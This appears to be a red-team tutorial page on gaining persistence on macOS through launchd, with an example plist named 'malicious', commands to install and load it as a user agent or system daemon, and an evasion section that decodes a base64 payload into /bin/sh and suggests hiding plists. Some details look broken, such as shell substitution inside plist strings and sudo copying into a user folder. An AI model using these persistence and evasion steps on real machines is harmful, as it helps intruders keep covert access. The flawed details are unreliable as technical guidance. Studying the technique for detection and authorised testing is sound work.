Skip to content

launchd Persistence

macOS utilizes launchd as its system and service management framework, enabling persistent execution of background processes. Attackers often exploit launchd by creating malicious .plist files to ensure persistence across reboots. This section details how to craft and deploy such payloads for red team testing, emphasizing defensive awareness and authorized use only.


Understanding Launchd.plist Structure

A valid launchd plist file defines a service with specific execution parameters. Key attributes include:
- Label: Unique identifier for the service (e.g., com.example.malicious).
- ProgramArguments: Array of arguments for the executable (e.g., /path/to/malicious.bin).
- RunAtLoad: Boolean to trigger the service on load (true).
- KeepAlive: Boolean to restart the service if it terminates (true).
- StandardOutPath/StandardErrorPath: Redirect output to log files (optional).

Example structure:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.example.malicious</string>
    <key>ProgramArguments</key>
    <array>
        <string>/path/to/malicious.bin</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
    <key>KeepAlive</key>
    <true/>
</dict>
</plist>


Step-by-Step: Creating a Persistent Launchd Service

  1. Generate the plist file
    Save the above example as malicious.plist in a secure location (e.g., /tmp/malicious.plist).

  2. Place the plist in the correct directory

  3. User-specific persistence (requires user login):
    sudo cp /tmp/malicious.plist ~/Library/LaunchAgents/
    
  4. System-wide persistence (requires root privileges):

    sudo cp /tmp/malicious.plist /Library/LaunchDaemons/
    

  5. Load the service
    For user-specific services:

    launchctl load ~/Library/LaunchAgents/malicious.plist
    launchctl start com.example.malicious
    
    For system-wide services:
    sudo launchctl load /Library/LaunchDaemons/malicious.plist
    sudo launchctl start com.example.malicious
    

  6. Verify the service

    launchctl list | grep com.example.malicious
    
    Check logs using:
    tail -f /var/log/system.log
    


Advanced Techniques: Evasion and Obfuscation

  • Dynamic paths: Use environment variables or relative paths to avoid static detection.
    <string>$(echo /path/to/malicious.bin)</string>
    
  • Base64 encoding: Embed payloads in the plist using base64 to bypass simple scanners.
    <string>/usr/bin/base64 -d <<< "aW1wb3J0IGJhY2tlbmQ=" | /bin/sh</string>
    
  • Hidden services: Store plists in non-standard locations (e.g., /private/var/db/launchd.db/), though this may trigger system scrutiny.

Key Takeaways

  • Correct syntax: Ensure the plist adheres to XML standards and valid launchd keys.
  • Placement matters: User-specific services require login; system-wide services need root access.
  • Testing is critical: Validate the service loads and executes without errors.
  • Evasion tactics: Use obfuscation or dynamic paths to avoid detection by standard monitoring tools.
  • Authorization: Always operate within legal and authorized testing boundaries.